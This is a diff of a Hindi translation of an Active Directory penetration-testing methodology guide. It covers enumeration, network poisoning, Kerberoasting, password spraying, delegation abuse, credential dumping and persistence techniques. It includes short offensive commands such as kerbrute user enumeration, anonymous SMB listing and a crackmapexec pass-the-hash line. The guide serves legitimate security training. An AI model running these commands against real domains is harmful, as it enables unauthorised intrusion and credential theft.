- नेटवर्क को स्कैन करें, मशीनें और खुले पोर्ट खोजें और उन पर **कमजोरियों का शोषण** करने या **क्रेडेंशियल्स** निकालने का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)।
- नेटवर्क को स्कैन करें, मशीनें और खुले पोर्ट खोजें और उन पर **कमजोरियों का शोषण** करने या **क्रेडेंशियल्स निकालने** का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)।
- DNS को सूचीबद्ध करने से डोमेन में प्रमुख सर्वरों के बारे में जानकारी मिल सकती है जैसे कि वेब, प्रिंटर, शेयर, वीपीएन, मीडिया, आदि।
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- इस पर अधिक जानकारी के लिए सामान्य [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) पर एक नज़र डालें।
@ -49,7 +49,7 @@ AD पर **हमला करने** के लिए आपको **Kerberos
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- SMB सर्वर को सूचीबद्ध करने के लिए अधिक विस्तृत मार्दर्शिका यहाँ मिल सकती है:
- SMB सर्वर को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है:
{{#ref}}
../../network-services-pentesting/pentesting-smb/
@ -57,27 +57,27 @@ AD पर **हमला करने** के लिए आपको **Kerberos
- **Ldap को सूचीबद्ध करें**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- LDAP को सूचीबद्ध करने के लिए अधिक विस्तृत मार्दर्शिका यहाँ मिल सकती है (विशेष रूप से **गुमनाम पहुँच** पर ध्यान दें):
- LDAP को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है (विशेष रूप से **गुमनाम पहुँच** पर ध्यान दें):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
- **नेटवर्क को विषाक्त करें**
- क्रेडेंशियल्स एकत्र करें [**Responder के साथ सेवाओं का अनुकरण करते हुए**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- **नेटवर्क को ज़हर दें**
- क्रेडेंशियल्स इकट्ठा करें [**Responder के साथ सेवाओं का अनुकरण करते हुए**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**रिले हमले का दुरुपयोग करके**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) होस्ट तक पहुँचें
- [**खराब UPnP सेवाओं को उजागर करके**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) के साथ क्रेडेंशियल्स एकत्र करें
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- क्रेडेंशियल्स इकट्ठा करें **नकली UPnP सेवाओं को उजागर करके** [**evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- आंतरिक दस्तावेजों, सोशल मीडिया, सेवाओं (मुख्य रूप से वेब) से उपयोगकर्ता नाम/नाम निकालें जो डोमेन वातावरण के भीतर और सार्वजनिक रूप से उपलब्ध हैं।
- यदि आप कंपनी के कर्मचारियों के पूर्ण नाम पाते हैं, तो आप विभिन्न AD **उपयोगकर्ता नाम की परंपराओं** का प्रयास कर सकते हैं (**[यह पढ़ें](https://activedirectorypro.com/active-directory-user-naming-convention/)**)। सबसे सामान्य परंपराएँ हैं: _NameSurname_, _Name.Surname_, _NamSur_ (प्रत्येक के 3 अक्षर), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _यादृच्छिक अक्षर और 3 यादृच्छिक संख्या_ (abc123)।
- यदि आप कंपनी के कर्मचारियों के पूर्ण नाम पाते हैं, तो आप विभिन्न AD **उपयोगकर्ता नाम मानकों** का प्रयास कर सकते हैं (**[यह पढ़ें](https://activedirectorypro.com/active-directory-user-naming-convention/)**)। सबसे सामान्य मानक हैं: _NameSurname_, _Name.Surname_, _NamSur_ (प्रत्येक के 3 अक्षर), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _यादृच्छिक अक्षर और 3 यादृच्छिक संख्या_ (abc123)।
- उपकरण:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### User enumeration
- **Anonymous SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जाँच करें।
- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम का अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** एक AS-REP प्रतिक्रिया में **TGT** या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ को उत्तेजित करेंगे, जो इंगित करता है कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करने की आवश्यकता है।
- **गुमनाम SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जाँच करें।
- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** या तो **AS-REP** प्रतिक्रिया में **TGT** उत्पन्न करेगा या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ उत्पन्न करेगा, जो इंगित करता है कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करना आवश्यक है।
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -113,15 +113,15 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
- [**ASREPRoast**](asreproast.md): यदि किसी उपयोगकर्ता के पास _DONT_REQ_PREAUTH_ विशेषता **नहीं है**, तो आप उस उपयोगकर्ता के लिए **AS_REP संदेश** का अनुरोध कर सकते हैं जिसमें उपयोगकर्ता के पासवर्ड के एक व्युत्पन्न द्वारा एन्क्रिप्टेड कुछ डेटा होगा।
- [**Password Spraying**](password-spraying.md): चलो प्रत्येक खोजे गए उपयोगकर्ताओं के साथ सबसे **सामान्य पासवर्ड** आजमाते हैं, शायद कुछ उपयोगकर्ता एक खराब पासवर्ड का उपयोग कर रहा है (पासवर्ड नीति को ध्यान में रखें!)।
- ध्यान दें कि आप **OWA सर्वरों को भी स्प्रे कर सकते हैं** ताकि उपयोगकर्ताओं के मेल सर्वरों तक पहुँच प्राप्त कर सके
- ध्यान दें कि आप **OWA सर्वरों को भी स्प्रे** कर सकते हैं ताकि उपयोगकर्ताओं के मेल सर्वरों तक पहुँच प्राप्त करने की कोशिश की जा सके।
{{#ref}}
password-spraying.md
{{#endref}}
### LLMNR/NBT-NS विषाक्तत
### LLMNR/NBT-NS जहर देन
आप कुछ चुनौती **हैश** प्राप्त करने में सक्षम हो सकते हैं **नेटवर्क** के कुछ प्रोटोकॉल को **विषाक्त** करके:
आप कुछ चुनौती **हैश** प्राप्त करने में सक्षम हो सकते हैं **जहर देकर** कुछ प्रोटोकॉल के **नेटवर्क**:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -129,17 +129,17 @@ password-spraying.md
### NTML रिले
यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं, तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTML [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त कर सकें
यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं, तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTML [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त की जा सके
### NTLM क्रेडेंशियल चुराना
यदि आप **अन्य PCs या शेयरों** तक **null या guest user** के साथ **पहुँच** कर सकते हैं, तो आप **फाइलें** (जैसे SCF फाइल) रख सकते हैं जो यदि किसी तरह से एक्सेस की जाती हैं तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें:
यदि आप **अन्य PCs या शेयरों** तक **नल या अतिथि उपयोगकर्ता** के साथ **पहुँच** कर सकते हैं, तो आप **फाइलें** (जैसे SCF फाइल) रख सकते हैं जो यदि किसी तरह से पहुँची जाती हैं तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## क्रेडेंशियल्स/सेशन के साथ सक्रिय निर्देशिका की सूची बनाना
## क्रेडेंशियल्स/सत्र के साथ सक्रिय निर्देशिका की सूची बनाना
इस चरण के लिए आपको **एक मान्य डोमेन खाते के क्रेडेंशियल्स या सत्र को समझौता करना होगा।** यदि आपके पास कुछ मान्य क्रेडेंशियल्स या एक डोमेन उपयोगकर्ता के रूप में एक शेल है, तो **आपको याद रखना चाहिए कि पहले दिए गए विकल्प अभी भी अन्य उपयोगकर्ताओं को समझौता करने के विकल्प हैं**
@ -153,16 +153,16 @@ kerberos-double-hop-problem.md
एक खाते को समझौता करना **पूरे डोमेन को समझौता करने के लिए एक बड़ा कदम है**, क्योंकि आप **सक्रिय निर्देशिका की सूची बनाना शुरू करने में सक्षम होंगे:**
[**ASREPRoast**](asreproast.md) के संबंध में, आप अब हर संभावित कमजोर उपयोगकर्ता को ढूंढ सकते हैं, और [**Password Spraying**](password-spraying.md) के संबंध में, आप **सभी उपयोगकर्ता नामों की एक सूची प्राप्त कर सकते हैं** और समझौता किए गए खाते का पासवर्ड, खाली पासवर्ड और नए आशाजनक पासवर्ड आजमा सकते हैं।
[**ASREPRoast**](asreproast.md) के संबंध में, आप अब हर संभावित कमजोर उपयोगकर्ता को खोज सकते हैं, और [**Password Spraying**](password-spraying.md) के संबंध में, आप **सभी उपयोगकर्ता नामों की एक सूची प्राप्त कर सकते हैं** और समझौता किए गए खाते का पासवर्ड, खाली पासवर्ड और नए आशाजनक पासवर्ड आजमा सकते हैं।
- आप [**CMD का उपयोग करके एक बुनियादी पुनः खोज करने के लिए**](../basic-cmd-for-pentesters.md#domain-info) कर सकते हैं
- आप [**पुनः खोज के लिए powershell का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/index.html) जो अधिक छिपा हुआ होगा
- आप [**पुनः खोज के लिए PowerShell का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/index.html) जो अधिक छिपा हुआ होगा
- आप [**powerview का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/powerview.md) अधिक विस्तृत जानकारी निकालने के लिए
- सक्रिय निर्देशिका में पुनः खोज के लिए एक और अद्भुत उपकरण [**BloodHound**](bloodhound.md) है। यह **बहुत छिपा हुआ नहीं है** (आपके द्वारा उपयोग किए गए संग्रह विधियों के आधार पर), लेकिन **यदि आपको इसकी परवाह नहीं है**, तो आपको इसे पूरी तरह से आजमाना चाहिए। पता करें कि उपयोगकर्ता RDP कहाँ कर सकते हैं, अन्य समूहों के लिए पथ खोजें, आदि।
- **अन्य स्वचालित AD सूची बनाने के उपकरण हैं:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**।**
- [**AD के DNS रिकॉर्ड**](ad-dns-records.md) क्योंकि वे दिलचस्प जानकारी रख सकते हैं।
- आप निर्देशिका की सूची बनाने के लिए **AdExplorer.exe** नामक **GUI** वाला एक उपकरण उपयोग कर सकते हैं जो **SysInternal** Suite से है।
- आप _userPassword_ & _unixUserPassword_ फ़ील्ड में क्रेडेंशियल्स की खोज करने के लिए **ldapsearch** का उपयोग कर सकते हैं, या यहां तक कि _Description_ के लिए भी। cf. [PayloadsAllTheThings पर AD उपयोगकर्ता टिप्पणी में पासवर्ड](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) अन्य विधियों के लिए।
- आप निर्देशिका की सूची बनाने के लिए **AdExplorer.exe** नामक **GUI** वाला एक उपकरण उपयोग कर सकते हैं जो **SysInternal** सूट से है।
- आप LDAP डेटाबेस में **ldapsearch** का उपयोग करके _userPassword_ और _unixUserPassword_ फ़ील्ड में क्रेडेंशियल्स की खोज कर सकते हैं, या यहां तक कि _Description_ के लिए भी। cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) अन्य विधियों के लिए।
- यदि आप **Linux** का उपयोग कर रहे हैं, तो आप [**pywerview**](https://github.com/the-useless-one/pywerview) का उपयोग करके डोमेन की सूची भी बना सकते हैं।
- आप स्वचालित उपकरणों के रूप में भी कोशिश कर सकते हैं:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@ -175,7 +175,7 @@ Windows से सभी डोमेन उपयोगकर्ता ना
### Kerberoast
Kerberoasting में **TGS टिकट** प्राप्त करना शामिल है जो उपयोगकर्ता खातों से जुड़े सेवाओं द्वारा उपयोग किए जाते हैं और उनक एन्क्रिप्शन को क्रैक करना—जो उपयोगकर्ता पासवर्ड पर आधारित है—**ऑफलाइन**।
Kerberoasting में **TGS टिकट** प्राप्त करना शामिल है जो उपयोगकर्ता खातों से जुड़े सेवाओं द्वारा उपयोग किए जाते हैं और उनक एन्क्रिप्शन को क्रैक करना—जो उपयोगकर्ता पासवर्ड पर आधारित है—**ऑफलाइन**।
इस बारे में अधिक जानकारी:
@ -189,7 +189,7 @@ kerberoast.md
### स्थानीय विशेषाधिकार वृद्धि
यदि आपने नियमित डोमेन उपयोगकर्ता के रूप में क्रेडेंशियल्स या एक सत्र को समझौता किया है और आपके पास **डोमेन में किसी भी मशीन** पर इस उपयोगकर्ता के साथ **पहुँच** है, तो आपको **स्थानीय रूप से विशेषाधिकार बढ़ाने और क्रेडेंशियल्स के लिए लूटने** का प्रयास करना चाहिए। इसका कारण यह है कि केवल स्थानीय व्यवस्थापक विशेषाधिकारों के साथ आप **अन्य उपयोगकर्ताओं के हैश को** मेमोरी (LSASS) में और स्थानीय रूप से (SAM) **डंप** कर सकेंगे।
यदि आपने नियमित डोमेन उपयोगकर्ता के रूप में क्रेडेंशियल्स या सत्र को समझौता किया है और आपके पास **डोमेन में किसी भी मशीन** पर इस उपयोगकर्ता के साथ **पहुँच** है, तो आपको **स्थानीय रूप से विशेषाधिकार बढ़ाने और क्रेडेंशियल्स के लिए लूटने** का प्रयास करना चाहिए। इसका कारण यह है कि केवल स्थानीय व्यवस्थापक विशेषाधिकारों के साथ आप **अन्य उपयोगकर्ताओं के हैश को** मेमोरी (LSASS) और स्थानीय (SAM) में **डंप** कर सकेंगे।
इस पुस्तक में [**Windows में स्थानीय विशेषाधिकार वृद्धि**](../windows-local-privilege-escalation/index.html) और एक [**चेकलिस्ट**](../checklist-windows-privilege-escalation.md) के बारे में एक पूरा पृष्ठ है। इसके अलावा, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) का उपयोग करना न भूलें।
@ -209,7 +209,7 @@ kerberoast.md
### **कंप्यूटर शेयर में क्रेडेंशियल्स की तलाश करें**
अब जब आपके पास कुछ बुनियादी क्रेडेंशियल्स हैं, तो आपको यह जांचना चाहिए कि क्या आप **AD के अंदर साझा की गई कोई **दिलचस्प फ़ाइलें** ढूंढ सकते हैं। आप इसे मैन्युअल रूप से कर सकते हैं, लेकिन यह एक बहुत ही उबाऊ दोहरा वाला कार्य है (और अधिक यदि आप सैकड़ों दस्तावेज़ों को खोजते हैं जिन्हें आपको जांचना है)।
अब जब आपके पास कुछ बुनियादी क्रेडेंशियल्स हैं, तो आपको यह जांचना चाहिए कि क्या आप **AD के अंदर साझा की गई कोई **दिलचस्प फ़ाइलें** ढूंढ सकते हैं। आप इसे मैन्युअल रूप से कर सकते हैं, लेकिन यह एक बहुत ही उबाऊ दोहराने वाला कार्य है (और अधिक यदि आप सैकड़ों दस्तावेज़ ढूंढते हैं जिन्हें आपको जांचना है)।
[**उपकरणों के बारे में जानने के लिए इस लिंक का पालन करें।**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
@ -270,12 +270,12 @@ pass-the-ticket.md
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> ध्यान दें कि यह काफी **शोर** है और **LAPS** इसे **कम** करेगा।
> ध्यान दें कि यह काफी **शोरगुल** वाला है और **LAPS** इसे **कम** करेगा।
### MSSQL दुरुपयोग और विश्वसनीय लिंक
यदि किसी उपयोगकर्ता के पास **MSSQL उदाहरणों** तक पहुँचने के लिए विशेषाधिकार हैं, तो वह इसे MSSQL होस्ट में **कमांड निष्पादित करने** के लिए उपयोग कर सकता है (यदि SA के रूप में चल रहा हो), NetNTLM **हैश** चुराने या यहां तक कि **रिले** **हमला** करने के लिए।\
इसके अलावा, यदि एक MSSQL उदाहरण को किसी अन्य MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग कर सकेगा**। ये विश्वास श्रृंखलाबद्ध हो सकते हैं और किसी बिंदु पर उपयोगकर्ता एक गलत कॉन्फ़िगर की गई डेटाबेस खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।\
इसके अलावा, यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग कर सकेगा**। ये विश्वास श्रृंखलाबद्ध हो सकते हैं और किसी बिंदु पर उपयोगकर्ता एक गलत कॉन्फ़िगर की गई डेटाबेस खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।\
**डेटाबेस के बीच के लिंक यहां तक कि वन वन ट्रस्ट के पार भी काम करते हैं।**
{{#ref}}
@ -286,7 +286,7 @@ abusing-ad-mssql.md
यदि आप किसी कंप्यूटर ऑब्जेक्ट को [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) विशेषता के साथ पाते हैं और आपके पास कंप्यूटर में डोमेन विशेषाधिकार हैं, तो आप कंप्यूटर पर लॉगिन करने वाले हर उपयोगकर्ता की मेमोरी से TGT को डंप कर सकेंगे।\
तो, यदि एक **डोमेन एडमिन कंप्यूटर पर लॉगिन करता है**, तो आप उसका TGT डंप कर सकेंगे और [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी नकल कर सकेंगे।\
संकीर्ण प्रतिनिधित्व के कारण आप यहां तक कि **एक प्रिंट सर्वर को स्वचालित रूप से समझौता कर सकते हैं** (उम्मीद है कि यह एक DC होगा)।
संकीर्ण प्रतिनिधित्व के लिए धन्यवाद, आप यहां तक कि **एक प्रिंट सर्वर को स्वचालित रूप से समझौता कर सकते हैं** (उम्मीद है कि यह एक DC होगा)।
{{#ref}}
unconstrained-delegation.md
@ -295,7 +295,7 @@ unconstrained-delegation.md
### संकीर्ण प्रतिनिधित्व
यदि किसी उपयोगकर्ता या कंप्यूटर को "संकीर्ण प्रतिनिधित्व" की अनुमति है, तो वह **किसी भी उपयोगकर्ता की नकल कर सकेगा ताकि किसी कंप्यूटर में कुछ सेवाओं तक पहुँच सके**।\
फिर, यदि आप इस उपयोगकर्ता/कंप्यूटर का **हैश समझौता** करते हैं, तो आप **किसी भी उपयोगकर्ता** (यहां तक कि डोमेन एडमिन) की नकल कर सकेंगे ताकि कुछ सेवाओं तक पहुँच सके।
फिर, यदि आप इस उपयोगकर्ता/कंप्यूटर का **हैश समझौता करते हैं**, तो आप **किसी भी उपयोगकर्ता** (यहां तक कि डोमेन एडमिन) की नकल कर सकेंगे ताकि कुछ सेवाओं तक पहुँच सके।
{{#ref}}
constrained-delegation.md
@ -303,7 +303,7 @@ constrained-delegation.md
### संसाधन-आधारित संकीर्ण प्रतिनिधित्व
एक दूरस्थ कंप्यूटर के Active Directory ऑब्जेक्ट पर **WRITE** विशेषाधिकार होने से **उच्च विशेषाधिकार** के साथ कोड निष्पादन प्राप्त करना संभव हो जाता है:
एक दूरस्थ कंप्यूटर के Active Directory ऑब्जेक्ट पर **WRITE** विशेषाधिकार होने से **उच्च विशेषाधिकार** के साथ कोड निष्पादन प्राप्त करने की अनुमति मिलती है:
{{#ref}}
resource-based-constrained-delegation.md
@ -319,7 +319,7 @@ acl-persistence-abuse/
### प्रिंटर स्पूलर सेवा का दुरुपयोग
डोमेन के भीतर एक **स्पूल सेवा सुनने** की खोज की जा सकती है जिसे **नए क्रेडेंशियल्स प्राप्त करने** और **विशेषाधिकार बढ़ाने** के लिए **दुरुपयोग** किया जा सकता है।
डोमेन के भीतर एक **स्पूल सेवा सुनने** की खोज की जा सकती है, जिसे **नए क्रेडेंशियल्स प्राप्त करने** और **विशेषाधिकार बढ़ाने** के लिए **दुरुपयोग** किया जा सकता है।
{{#ref}}
printers-spooler-service-abuse.md
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
### प्रमाणपत्र टेम्पलेट्स का दुरुपयोग
यदि **कमजोर टेम्पलेट्स** कॉन्फ़िगर किए गए हैं, तो उन्हें विशेषाधिकार बढ़ाने के लिए दुरुपयोग करना संभव है:
यदि **कमजोर टेम्पलेट्स** कॉन्फ़िगर किए गए हैं, तो उन्हें विशेषाधिकार बढ़ाने के लिए दुरुपयोग किया जा सकता है:
{{#ref}}
ad-certificates/domain-escalation.md
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
### डोमेन क्रेडेंशियल्स का डंपिंग
एक बार जब आप **डोमेन एडमिन** या यहां तक कि बेहतर **एंटरप्राइज एडमिन** विशेषाधिकार प्राप्त कर लेते हैं, तो आप **डोमेन डेटाबेस** **डंप** कर सकते हैं: _ntds.dit_
एक बार जब आप **डोमेन एडमिन** या यहां तक कि बेहतर **एंटरप्राइज एडमिन** विशेषाधिकार प्राप्त कर लेते हैं, तो आप **डोमेन डेटाबेस** **डंप** कर सकते हैं: _ntds.dit_
[**DCSync हमले के बारे में अधिक जानकारी यहां मिल सकती है**](dcsync.md)।
@ -371,7 +371,7 @@ ad-certificates/domain-escalation.md
### प्रिवेस्क के रूप में स्थिरता
पहले चर्चा की गई कुछ तकनीकों का उपयोग स्थिरता के लिए किया जा सकता है।\
उदाहरण के लिए आप कर सकते हैं:
उदाहरण के लिए, आप कर सकते हैं:
- उपयोगकर्ताओं को [**Kerberoast**](kerberoast.md) के लिए कमजोर बनाना
@ -411,7 +411,7 @@ golden-ticket.md
### डायमंड टिकट
ये गोल्डन टिकट की तरह होते हैं जिन्हें इस तरह से तैयार किया गया है कि **सामान्य गोल्डन टिकट पहचान तंत्रों को बायपास**िया जा सके
ये गोल्डन टिकट की तरह होते हैं ज **सामान्य गोल्डन टिकट पहचान तंत्रों को बायपास**रने के तरीके से बनाए जाते हैं
{{#ref}}
diamond-ticket.md
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolder समूह
Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि एक हमलावर AdminSDHolder के ACL को एक सामान्य उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो उस उपयोगकर्ता को सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण मिल जाता है। यह सुरक्षा उपाय, जिसे सुरक्षा के लिए बनाया गया था, इस प्रकार उलटा पड़ सकता है, जिससे बिना अनुमति की पहुँच संभव हो जाती है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता।
Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि एक हमलावर AdminSDHolder के ACL को एक सामान्य उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो उस उपयोगकर्ता को सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण मिल जाता है। यह सुरक्षा उपाय, जिसे सुरक्षा के लिए बनाया गया था, इस प्रकार उलटा पड़ सकता है, अनधिकृत पहुँच की अनुमति देता है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता।
[**AdminDSHolder समूह के बारे में अधिक जानकारी यहां है।**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL स्थिरता
आप कुछ विशेष डोमेन ऑब्जेक्ट्स पर एक **उपयोगकर्ता** को कुछ **विशेष अनुमति** दे सकते हैं जो उपयोगकर्ता को भविष्य में **विशेषाधिकार बढ़ाने** की अनुमति देगा।
आप कुछ विशिष्ट डोमेन ऑब्जेक्ट्स पर एक **उपयोगकर्ता** को कुछ **विशेष अनुमति** दे सकते हैं जो उपयोगकर्ता को **भविष्य में विशेषाधिकार बढ़ाने** की अनुमति देगा।
{{#ref}}
acl-persistence-abuse/
@ -457,7 +457,7 @@ acl-persistence-abuse/
### सुरक्षा वर्णनकर्ता
**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** में एक **थोड़ा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने।
**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** के एक ऑब्जेक्ट में **थोड़ा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने।
{{#ref}}
security-descriptors.md
@ -473,7 +473,7 @@ skeleton-key.md
### कस्टम SSP
[यहां जानें कि SSP (सुरक्षा समर्थन प्रदाता) क्या है।](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
[यहां जानें कि SSP (सिक्योरिटी सपोर्ट प्रोवाइडर) क्या है।](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
आप **अपना खुद का SSP** बना सकते हैं ताकि मशीन तक पहुँचने के लिए उपयोग किए गए **क्रेडेंशियल्स** को **स्पष्ट पाठ** में **कैप्चर** किया जा सके।
{{#ref}}
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
